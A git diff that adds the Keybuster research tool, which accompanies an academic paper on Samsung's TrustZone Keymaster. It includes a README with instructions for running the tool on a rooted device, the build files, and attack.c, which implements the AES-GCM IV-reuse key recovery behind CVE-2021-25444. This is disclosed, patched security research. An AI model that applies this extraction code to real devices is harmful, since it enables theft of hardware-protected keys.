diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..e0c35b9 --- /dev/null +++ b/.gitignore @@ -0,0 +1,2 @@ +obj/ +libs/ diff --git a/CITATION.cff b/CITATION.cff new file mode 100644 index 0000000..4be495f --- /dev/null +++ b/CITATION.cff @@ -0,0 +1,19 @@ +cff-version: 1.2.0 +message: "If you use this software, please cite it as below." +preferred-citation: + type: conference-paper + authors: + - family-names: "Shakevsky" + given-names: "Alon" + - family-names: "Ronen" + given-names: "Eyal" + - family-names: "Wool" + given-names: "Avishai" + title: "Trust Dies in Darkness: Shedding Light on Samsung's TrustZone Keymaster Design" + conference: + name: "31th {USENIX} Security Symposium" + city: "Boston" + date-start: "2022-08-10" + year: 2022 + month: "Aug" + diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..261eeb9 --- /dev/null +++ b/LICENSE @@ -0,0 +1,201 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/README.md b/README.md new file mode 100644 index 0000000..60bac1d --- /dev/null +++ b/README.md @@ -0,0 +1,161 @@ +# Keybuster + +Keybuster is a research tool that allows to interact with the Keymaster TA (Trusted Application) on Samsung devices that run Android. +Keybuster implements a Keymaster client - based on the `libkeymaster_helper.so` library from Samsung's Keymaster HAL - that sends custom requests to the Keymaster TA without any input validation or filtering. + +## Research Paper + +This repository provides supplemental code and information to our paper "Trust Dies in Darkness: Shedding Light on Samsung's TrustZone Keymaster Design". +If you found it useful, please cite our paper: + +``` +@inproceedings{shakevsky2022trust, + title={Trust Dies in Darkness: Shedding Light on Samsung's TrustZone Keymaster Design}, + author={Shakevsky, Alon and Ronen, Eyal and Wool, Avishai}, + booktitle = {31st {USENIX} Security Symposium ({USENIX} Security 22)}, + address = {Boston, MA}, + year={2022}, + publisher = {{USENIX} Association}, + month=aug +} +``` + +The paper can be found at: + +- [USENIX Security 22 paper](https://TBD) +- [Extended preprint paper (IACR ePrint)](https://TBD) + +### Abstract + +ARM-based Android smartphones rely on the TrustZone hardware support for a Trusted Execution Environment (TEE) to implement security-sensitive functions. The TEE runs a separate, isolated, TrustZone Operating System (TZOS), in parallel to Android. +The implementation of the cryptographic functions within the TZOS is left to the device vendors, who create proprietary undocumented designs. + +In this work, we expose the cryptographic design and implementation of Android's Hardware-Backed Keystore in Samsung's Galaxy S8, S9, S10, S20, and S21 flagship devices. +We reversed-engineered and provide a detailed description of the cryptographic design and code structure, and we unveil severe design flaws. +We present an IV reuse attack on AES-GCM +that allows an attacker to extract hardware-protected key material, and a downgrade attack that makes even the latest Samsung devices vulnerable to the IV reuse attack. We demonstrate working key extraction attacks on the latest devices. We also show the implications of our attacks on two higher-level cryptographic protocols between the TrustZone and a remote server: we demonstrate a working FIDO2 WebAuthn login bypass and a compromise of Google’s Secure Key Import. + +We discuss multiple flaws in the design flow of TrustZone based protocols. Although our specific attacks only apply to the ≈100 million devices made by Samsung, it raises the much more general requirement for open and proven standards for critical cryptographic and security designs. + +## Disclaimer + +This is a research project that allows to reproduce our results. We hope it will motivate further research on Keystore security and lead to a uniform open standard for the Keymaster HAL and TA. However, it is not meant to be comprehensive, fully functional or well tested. + +We reported our attacks to Samsung Mobile Security and they released patches (in August 2021 and in October 2021) that fix the issues. We thank Samsung for reviewing our work, assigning the High severity CVEs, and coordinating the public disclosure. + +## Why + +### Brief Introduction + +For the complete introduction and background please refer to the extended paper. + +--- + +The [Android Keystore](https://source.android.com/security/keystore) provides hardware-backed cryptographic key management services through a Hardware Abstraction Layer (HAL) that vendors such as Samsung implement. + +The Keystore exposes an API to Android applications, including cryptographic key generation, secure key storage, and key usage (e.g., encryption or signing actions). Samsung implements the HAL through a Trusted Application (TA) called the Keymaster TA, which runs in the TrustZone-based TEE. The Keymaster TA performs the cryptographic operations in the Secure World using hardware peripherals, including a cryptographic engine. + +Although it is crucial to rigorously verify and test such cryptographic designs, real-world TrustZone implementations received relatively little attention in the literature. We believe that this is mainly due to the fact that most device vendors do not provide detailed documentation of their TZOS and proprietary TAs and share little-to-no information regarding how the sensitive data is protected. To advance and motivate this research area, we decided to use the leading Android vendor Samsung as a test case. We reversed-engineered the full cryptographic design and API of several generations of Samsung's Keymaster TA, and asked the following questions: + +*Does the hardware-based protection of cryptographic keys remain secure even when the Normal World is compromised? How does the cryptographic design of this protection affect the security of various protocols that rely on its security?* + +--- + +The following figure[^1] from the paper provides an overview of the Hardware-Backed Keystore: ![keystore.png](images/keystore.png "keystore.png") + + +### How Keybuster is useful + +Keybuster allows us to explore the Keymaster TA without any restrictions that the Keymaster HAL enforces. It enables: + +- To pass arbitrary parameters to the Keymaster TA, including the undocumented `KM_TAG_EKEY_BLOB_IV` and `KM_EKEY_BLOB_ENC_VER` tag which are crucial for the IV reuse and downgrade attacks (respectively). +- To bypass keyblob hash checks and send invalid or modified blobs to the Keymaster TA. +- To improve the performance of the Keymaster client or patch its implementation. + +Overall, Keybuster exposes a lot of uncharted attack surface and was very useful for our research. + +## Getting Started + +### Requirements + +Keybuster requires sufficient permissions (root and SELinux context) to access TZ drivers. To achieve this, we rooted our device using [Magisk](https://github.com/topjohnwu/Magisk) and used the strong context that it provides. + +Note that rooting the device is not necessary - in the attack model that we use in the paper, we assume that an attacker has compromised the Normal World entirely (it should be enough to compromise a system service that can communicate with the kernel driver that switches to the Secure World, e.g., `keystored`) which is possible without rooting. + +### Build from source + +Building requires Android NDK. Run: + +```bash +ndk-build -C jni +``` + +See [`build.sh`](build.sh) and adjust it per your NDK installation. + +### Download from releases + +The `keybuster` and `keybuster_test` binaries can be downloaded from the latest release. + +### Running + +Run the following command on your desktop computer to upload the binary to the device: +```bash +adb push ./libs/arm64-v8a/keybuster /data/local/tmp/keybuster +``` + +Run the following command on the Android device to execute the tool: + +```bash +adb shell +su # enter a strong context, e.g. by rooting with Magisk +chmod +x /data/local/tmp/keybuster +/data/local/tmp/keybuster # pass --help to see the supported commands +``` + +### Testing + +To perform some basic tests, repeat the instructions in the above section with `keybuster_test` instead of `keybuster`. + +### Extending + +As described in [Android.mk](jni/Android.mk), the default `keybuster` uses `libkeymaster_helper.so` as-is. It is possible to use a different implementation that is TZOS-specific (e.g., we implemented `keybuster_mod_TEEGRIS` and `keybuster_mod_KINIBI`). This allows to patch or replace the Keymaster HAL entirely and bypass any restrictions. + +The default `keybuster` already allows to pass custom parameters and reach undocumented code paths in the Keymaster TA - however to modify a keyblob we needed to implement the functions that `libkeymaster_helper.so` exports (or patch them) to avoid the hash check. The extensions code will not be available here (and is not relevant to our results) but we can advice anyone that is interested to implement them. + +### Project Structure + +The project has the following structure: + +- `core/` + - `attack.*` - IV reuse attack + - `file_utils.*` - common file utilities + - `main.c` - CLI + - `skeymaster_api.*` - Wrappers of `skeymaster_commands.*` that can be called from the CLI + - `skeymaster_asn1.*` - Handlers of vendor-specific ASN.1 structures + - `skeymaster_commands.*` - Wrappers of Keymaster API (e.g., `generateKey`) + - `skeymaster_crypto.*` - Handlers of OpenSSL functions + - `skeymaster_defs.*` - Common Keymaster-related definitions + - `skeymaster_helper.h` - Definition of Keymaster Helper API + - `skeymaster_key_params.*` - Key parameter utilities + - `skeymaster_libs.*` - Import required symbols from libraries (e.g., `libcrypto.so` and `libkeymaster_helper.so`) + - `skeymaster_log.h` - Logging utilities + - `skeymaster_status.h` - Status code + - `skeymaster_utils.*` - General Utilities +- `keymaster_helper_lib/` - default extension for Keymaster Helper + - `skeymaster_helper_lib.c` - Wrappers of `libkeymaster_helper.so` API that implements the API from `skeymaster_helper.h` +- `poc/` - proof of concepts for IV reuse and downgrade attacks + + +## Proof of Concept + +Keybuster was used to implement proof-of-concept attacks against the Keymaster TA that achieve unauthorized access to hardware-protected keys and data secured by the TEE. + +To reproduce [CVE-2021-25444](https://security.samsungmobile.com/securityUpdate.smsb?year=2021&month=8), please see [IV Reuse Attack PoC](poc/iv_reuse/README.md). + +To reproduce [CVE-2021-25490](https://security.samsungmobile.com/securityUpdate.smsb?year=2021&month=10), please see [Downgrade Attack PoC](poc/downgrade/README.md). + +## Writeup + +For extended technical details, please see the [writeup](writeup.md). + +[^1]: Designed using resources from Flaticon.com diff --git a/build.sh b/build.sh new file mode 100755 index 0000000..c79eee2 --- /dev/null +++ b/build.sh @@ -0,0 +1,7 @@ +#!/bin/sh +~/android-ndk-r21/ndk-build -C jni $@ + +if [ "$1" = clean ] +then + rm -rf obj/ libs/ +fi diff --git a/images/fido2.png b/images/fido2.png new file mode 100755 index 0000000..f03b214 Binary files /dev/null and b/images/fido2.png differ diff --git a/images/keystore.png b/images/keystore.png new file mode 100755 index 0000000..6836bd0 Binary files /dev/null and b/images/keystore.png differ diff --git a/images/poc.png b/images/poc.png new file mode 100755 index 0000000..23892b5 Binary files /dev/null and b/images/poc.png differ diff --git a/images/poc_rsa.png b/images/poc_rsa.png new file mode 100755 index 0000000..3043b75 Binary files /dev/null and b/images/poc_rsa.png differ diff --git a/images/poc_s9.png b/images/poc_s9.png new file mode 100755 index 0000000..5ed4bca Binary files /dev/null and b/images/poc_s9.png differ diff --git a/images/salt.png b/images/salt.png new file mode 100755 index 0000000..12f9f1c Binary files /dev/null and b/images/salt.png differ diff --git a/images/secure_key_import.png b/images/secure_key_import.png new file mode 100755 index 0000000..99c61d3 Binary files /dev/null and b/images/secure_key_import.png differ diff --git a/images/teegris_key_wrap.png b/images/teegris_key_wrap.png new file mode 100755 index 0000000..7c25e6a Binary files /dev/null and b/images/teegris_key_wrap.png differ diff --git a/images/teegris_keymaster_api.png b/images/teegris_keymaster_api.png new file mode 100755 index 0000000..fa0a5c9 Binary files /dev/null and b/images/teegris_keymaster_api.png differ diff --git a/images/trustzone_hw.png b/images/trustzone_hw.png new file mode 100755 index 0000000..3abfed9 Binary files /dev/null and b/images/trustzone_hw.png differ diff --git a/images/tz_unwrap_graph.png b/images/tz_unwrap_graph.png new file mode 100755 index 0000000..b841f8f Binary files /dev/null and b/images/tz_unwrap_graph.png differ diff --git a/images/tz_wrap_graph.png b/images/tz_wrap_graph.png new file mode 100755 index 0000000..03638f4 Binary files /dev/null and b/images/tz_wrap_graph.png differ diff --git a/images/xor.png b/images/xor.png new file mode 100755 index 0000000..7e39769 Binary files /dev/null and b/images/xor.png differ diff --git a/jni/Android.mk b/jni/Android.mk new file mode 100755 index 0000000..b2f9cc8 --- /dev/null +++ b/jni/Android.mk @@ -0,0 +1,64 @@ +LOCAL_PATH := $(call my-dir) + +define keybuster_exe + include $(CLEAR_VARS) + + LOCAL_MODULE := $1 + LOCAL_SRC_FILES := $2 + LOCAL_CFLAGS := -std=c99 -Wall -fPIE -fPIC -D_GNU_SOURCE $3 + LOCAL_LDLIBS := -llog -ldl + LOCAL_C_INCLUDES := $4 + + $(info "flags are '$(LOCAL_CFLAGS)'") + $(info "1 is '$1'") + $(info "2 is '$2'") + $(info "3 is '$3'") + $(info "4 is '$4'") + + include $(BUILD_EXECUTABLE) +endef + +# The default is to use libkeymaster_helper.so as-is -> the default binary is keybuster +# If we want to use a client that we implemented (e.g. to avoid input checks), we can specify +# the define DKEYMASTER_HELPER_SELF_IMPLEMENTATION and the appropriate TZOS +# this leads to variants such as keybuster_mod_TEEGRIS +DEFAULT_SRC := $(wildcard core/*.c) $(wildcard keymaster_helper_lib/*.c) +DEFAULT_INCLUDES := core/ +DEFAULT_CFLAGS := + +$(eval $(call keybuster_exe, "keybuster", $(DEFAULT_SRC), $(DEFAULT_CFLAGS), $(DEFAULT_INCLUDES))) + +# CORE_S := $(wildcard core/*.c) +# CORE_I := core/ + +# MOD_S := $(wildcard keymaster_helper_mod/*.c) +# MOD_I := keymaster_helper_mod/ + +# TEEC_S := $(wildcard keymaster_helper_mod/teec/*.c) +# TEEC_I := keymaster_helper_mod/teec + +# TEEGRIS_S := $(wildcard keymaster_helper_mod/teegris/*.c) +# TEEGRIS_I := keymaster_helper_mod/teegris + +# TEEGRIS_MOD_SRC := $(CORE_S) $(MOD_S) $(TEEC_S) $(TEEGRIS_S) +# TEEGRIS_MOD_CFLAGS := -DKEYMASTER_HELPER_SELF_IMPLEMENTATION -DTZOS_TEEGRIS +# TEEGRIS_MOD_INCLUDES := $(CORE_I) $(MOD_I) $(TEEC_I) $(TEEGRIS_I) + +# $(eval $(call keybuster_exe, "keybuster_mod_TEEGRIS", $(TEEGRIS_MOD_SRC), $(TEEGRIS_MOD_CFLAGS), $(TEEGRIS_MOD_INCLUDES))) + +# # the Kinibi client mod is still unfinished, use the normal keybuster (with original client) +# KINIBI_S := $(wildcard keymaster_helper_mod/kinibi/*.c) +# KINIBI_I := keymaster_helper_mod/kinibi + +# KINIBI_MOD_SRC := $(CORE_S) $(MOD_S) $(KINIBI_S) +# KINIBI_MOD_CFLAGS :=-DKEYMASTER_HELPER_SELF_IMPLEMENTATION -DTZOS_KINIBI +# KINIBI_MOD_INCLUDES := $(CORE_I) $(MOD_I) $(KINIBI_I) + +# $(eval $(call keybuster_exe, "keybuster_mod_KINIBI", $(KINIBI_MOD_SRC), $(KINIBI_MOD_CFLAGS), $(KINIBI_MOD_INCLUDES))) + +TEST_SRC := $(wildcard core/*.c) $(wildcard keymaster_helper_lib/*.c) +TEST_SRC := $(filter-out core/main.c, $(TEST_SRC)) $(wildcard test/*.c) +TEST_INCLUDES := core/ test/ +TEST_CFLAGS := + +$(eval $(call keybuster_exe, "keybuster_test", $(TEST_SRC), $(TEST_CFLAGS), $(TEST_INCLUDES))) diff --git a/jni/Application.mk b/jni/Application.mk new file mode 100755 index 0000000..0c3bc10 --- /dev/null +++ b/jni/Application.mk @@ -0,0 +1,2 @@ +APP_ABI := arm64-v8a +APP_PLATFORM := android-29 diff --git a/jni/config.h b/jni/config.h new file mode 100644 index 0000000..8c3a40c --- /dev/null +++ b/jni/config.h @@ -0,0 +1,39 @@ +/* + Defines that can be modified here or set in Android.mk to compile variants +*/ +#ifndef _CONFIG_H_ +#define _CONFIG_H_ + +/* + Define to use a new implementation of libkeymaster_helper.so +*/ +// #define KEYMASTER_HELPER_SELF_IMPLEMENTATION + +/* + Define to use TEEGRIS TEEC API (libteecl.so) +*/ +// #define TZOS_TEEGRIS + +/* + Define to use Kinibi API (lib) +*/ +// #define TZOS_KINIBI + +/* + Define to use functions from libteecl.so +*/ +// #define USE_LIBTEECL + +#ifdef KEYMASTER_HELPER_SELF_IMPLEMENTATION + +#if !defined(TZOS_TEEGRIS) && !defined(TZOS_KINIBI) +#error "Must specify TZOS (-DTZOS_TEEGRIS or -DTZOS_KINIBI)" +#endif // !defined(TZOS_TEEGRIS) && !defined(TZOS_KINIBI) + +#if defined(TZOS_TEEGRIS) && defined(TZOS_KINIBI) +#error "Must choose only one TZOS" +#endif // defined(TZOS_TEEGRIS) && defined(TZOS_KINIBI) + +#endif // KEYMASTER_HELPER_SELF_IMPLEMENTATION + +#endif // _CONFIG_H_ diff --git a/jni/core/attack.c b/jni/core/attack.c new file mode 100644 index 0000000..89c04a9 --- /dev/null +++ b/jni/core/attack.c @@ -0,0 +1,140 @@ +#include +#include + +#include +#include +#include +#include + +static size_t num_bytes(x) +{ + size_t n; + if (0 == x) { + n = 1; + } + else { + n = log(x) / log(256) + 1; + } + return n; +} + +KM_Result iv_collision_attack( + const char *plain1_path, + const char *ekey1_path, + const char *ekey2_path, + const char *output) +{ + KM_Result ret = KM_RESULT_INVALID; + vector_t plain1 = {0}; + vector_t ekey1 = {0}; + vector_t ekey2 = {0}; + uint8_t *plaintext = NULL; + + if (NULL == plain1_path) { + LOGE("invalid plain1_path %s (specify -p )", "null"); + goto cleanup; + } + + if (NULL == ekey1_path) { + LOGE("invalid ekey1_path %s (specify -e )", "null"); + goto cleanup; + } + + if (NULL == ekey2_path) { + LOGE("invalid ekey2_path %s (specify -s )", "null"); + goto cleanup; + } + + if (NULL == output) { + LOGD("Invalid output %s (specify -o )", "null"); + goto cleanup; + } + + if (KM_RESULT_SUCCESS != READ_FILE(plain1_path, &plain1.data, &plain1.len)) { + goto cleanup; + } + + if (KM_RESULT_SUCCESS != READ_FILE(ekey1_path, &ekey1.data, &ekey1.len)) { + goto cleanup; + } + + if (KM_RESULT_SUCCESS != READ_FILE(ekey2_path, &ekey2.data, &ekey2.len)) { + goto cleanup; + } + + print_vec("plain1", plain1.data, plain1.len); + print_vec("ekey1", ekey1.data, ekey1.len); + print_vec("ekey2", ekey2.data, ekey2.len); + + size_t ekey_len_num_bytes = num_bytes(plain1.len) + num_bytes(ekey1.len - 1 - num_bytes(ekey1.len)); + size_t offset = 6 + ekey_len_num_bytes; + + // larger keys (e.g. RSA) use more bytes in ASN1 length field + if (plain1.len > 0x100) { + offset += 1; + } + + LOGD("offset %ld", offset); + + /* + km_key_blob_t is defined the following fields: + - ver (ASN1_INTEGER) + - key (ASN1_OCTET_STRING) + - par (km_param_t) + + We get the encrypted ASN1 serialization of a km_key_blob_t (ekey1/ekey2) and skip + to the key field to get the AES-GCM-256 encryption of the key material + */ + uint8_t *encrypted_key_1 = ekey1.data + offset; + uint8_t *encrypted_key_2 = ekey2.data + offset; + + // the length of the known key must be >= the length of the unknown key (since we xor the bytes) + // so we use only the bytes we know for the xor + size_t plain2_len = plain1.len; + + plaintext = malloc(plain2_len); + if (NULL == plaintext) { + LOGE("%s failed", "malloc"); + goto cleanup; + } + + /* + AES-GCM-256 encrypts the IV with the key and xors it with the data. + Therefore, if we have a collision where both keys were encrypted + using the same key HDK and same initial vector IV: + + - encrypted_key_1 = E(HDK, IV) xor plain1 + - encrypted_key_2 = E(HDK, IV) xor plain2 + + Thus, xoring the encrypted key material of both keys with + the known plaintext of one of them yield the plaintext key material of the other: + + plain1 xor encrypted_key_1 xor encrypted_key_2 = recovered_plain_2 + */ + for (int i = 0; i < plain2_len; ++i) { + plaintext[i] = plain1.data[i] ^ encrypted_key_1[i] ^ encrypted_key_2[i]; + } + + print_vec("recovered plain2", plaintext, plain2_len); + + if (KM_RESULT_SUCCESS != WRITE_FILE(output, plaintext, plain2_len)) { + goto cleanup; + } + + ret = KM_RESULT_SUCCESS; + +cleanup: + if (NULL != plain1.data) { + free(plain1.data); + } + if (NULL != ekey1.data) { + free(ekey1.data); + } + if (NULL != ekey2.data) { + free(ekey2.data); + } + if (NULL != plaintext) { + free(plaintext); + } + return ret; +} diff --git a/jni/core/attack.h b/jni/core/attack.h new file mode 100644 index 0000000..d865cff --- /dev/null +++ b/jni/core/attack.h @@ -0,0 +1,20 @@ +#ifndef _ATTACK_H_ +#define _ATTACK_H_ + +/** @brief Recover plaintext by xoring plain1 with encrypted1 and encrypted 2 + @param[in] plain1_path Plaintext for known key blob + @param[in] ekey1_path ekey_blob->ekey of the known key blob corresponding to plain1 + @param[in] ekey2_path ekey_blob->ekey of a unknown key blob that we wish to recover + @param[out] output Output path where the recovered plaintext will be written + @Return status 0 for success + @note The length of the known blob must be greater or equal to the length of the unknown blob. + If the known blob is longer, there will be extra bytes after the recovered key. + See the comment about why this collision attack on AES-GCM works inside the function. +*/ +KM_Result iv_collision_attack( + const char *plain1_path, + const char *ekey1_path, + const char *ekey2_path, + const char *output); + +#endif // _ATTACK_H_ diff --git a/jni/core/file_utils.c b/jni/core/file_utils.c new file mode 100755 index 0000000..fc05a5a --- /dev/null +++ b/jni/core/file_utils.c @@ -0,0 +1,169 @@ +#include +#include +#include +#include +#include + +#include +#include + + +KM_Result read_file( + const char *directory, + const char *filename, + uint8_t **p_data, + size_t *len) +{ + KM_Result ret = KM_RESULT_INVALID; + + FILE *f = NULL; + char *full_path = NULL; + + if (NULL == p_data || NULL == len) { + LOGE("%s", "Invalid arguments"); + goto cleanup; + } + + size_t full_size = strlen(directory) + strlen(filename) + 1; + if (full_size < strlen(directory) || full_size < strlen(filename)) { + LOGE("potential overflow %s", "full_size"); + goto cleanup; + } + + full_path = malloc(full_size); + if (NULL == full_path) { + LOGE("%s failed", "malloc"); + goto cleanup; + } + + strcpy(full_path, directory); + strcpy(full_path + strlen(directory), filename); + full_path[full_size - 1] = '\0'; + + f = fopen(full_path, "rb"); + + if (NULL == f) { + LOGE("fopen failed for %s", full_path); + goto cleanup; + } + + struct stat finfo; + if (0 != fstat(fileno(f), &finfo)) { + LOGE("%s failed", "fstat"); + goto cleanup; + } + + size_t size = finfo.st_size; + uint8_t *data = malloc(size * sizeof(*data)); + if (NULL == data) { + LOGE("%s failed for data", "malloc"); + goto cleanup; + } + + if (size != fread(data, 1, size, f)) { + LOGE("%s failed", "fread"); + free(data); + goto cleanup; + } + + *p_data = data; + *len = size; + + ret = KM_RESULT_SUCCESS; + +cleanup: + if (NULL != f) { + fclose(f); + } + + if (NULL != full_path) { + free(full_path); + } + + return ret; +} + +KM_Result write_file( + const char *directory, + const char *filename, + const uint8_t *data, + size_t len) +{ + KM_Result ret = KM_RESULT_SUCCESS; + + FILE *f = NULL; + char *full_path = NULL; + + size_t full_size = strlen(directory) + strlen(filename) + 1; + if (full_size < strlen(directory) || full_size < strlen(filename)) { + LOGE("potential overflow %s", "full_size"); + goto cleanup; + } + + full_path = malloc(full_size); + if (NULL == full_path) { + LOGE("%s failed", "malloc"); + goto cleanup; + } + + strcpy(full_path, directory); + strcpy(full_path + strlen(directory), filename); + full_path[full_size - 1] = '\0'; + + f = fopen(full_path, "wb"); + if (NULL == f) { + LOGE("fopen failed for %s", full_path); + goto cleanup; + } + + if (len != fwrite(data, 1, len, f)) { + LOGE("%s failed", "fwrite"); + goto cleanup; + } + + LOGI("created %s", full_path); + + ret = 0; + +cleanup: + if (NULL != f) { + fclose(f); + } + if (NULL != full_path) { + free(full_path); + } + return ret; +} + +KM_Result save_related_file( + const char *original_path, + const char *prefix, + const char *suffix, + const uint8_t *data, + size_t len) +{ + KM_Result ret = KM_RESULT_INVALID; + + char *new_path = NULL; + size_t full_size = strlen(prefix) + strlen(original_path) + strlen(suffix) + 1; + if (full_size < strlen(prefix) || full_size < strlen(original_path) || full_size < strlen(suffix)) { + LOGE("potential overflow %s", "full_size"); + goto cleanup; + } + + new_path = malloc(full_size); + sprintf(new_path, "%s%s%s", prefix, original_path, suffix); + new_path[full_size - 1] = '\0'; + + if (KM_RESULT_SUCCESS != WRITE_FILE(new_path, data, len)) { + goto cleanup; + } + + ret = KM_RESULT_SUCCESS; + +cleanup: + if (NULL != new_path) { + free(new_path); + } + return ret; +} diff --git a/jni/core/file_utils.h b/jni/core/file_utils.h new file mode 100755 index 0000000..901a7ad --- /dev/null +++ b/jni/core/file_utils.h @@ -0,0 +1,56 @@ +#ifndef _FILE_UTILS_H_ +#define _FILE_UTILS_H_ + +#include + +#include + +#define WRITEABLE_DIR ("/data/local/tmp/") + +#define READ_FILE(filename, p_data, len) read_file(WRITEABLE_DIR, filename, p_data, len) +#define WRITE_FILE(filename, data, len) write_file(WRITEABLE_DIR, filename, data, len) + +/** @brief Read a file from the given path + @param[in] directory Directory of the file + @param[in] filename The name of the file + @param[out] p_data Pointer to output buffer + @param[out] len Output len + @Return status KM_RESULT_SUCCESS if successful + @note Unsafe (ok for research tool), output buffer should be freed by caller +*/ +KM_Result read_file( + const char *directory, + const char *filename, + uint8_t **p_data, + size_t *len); + 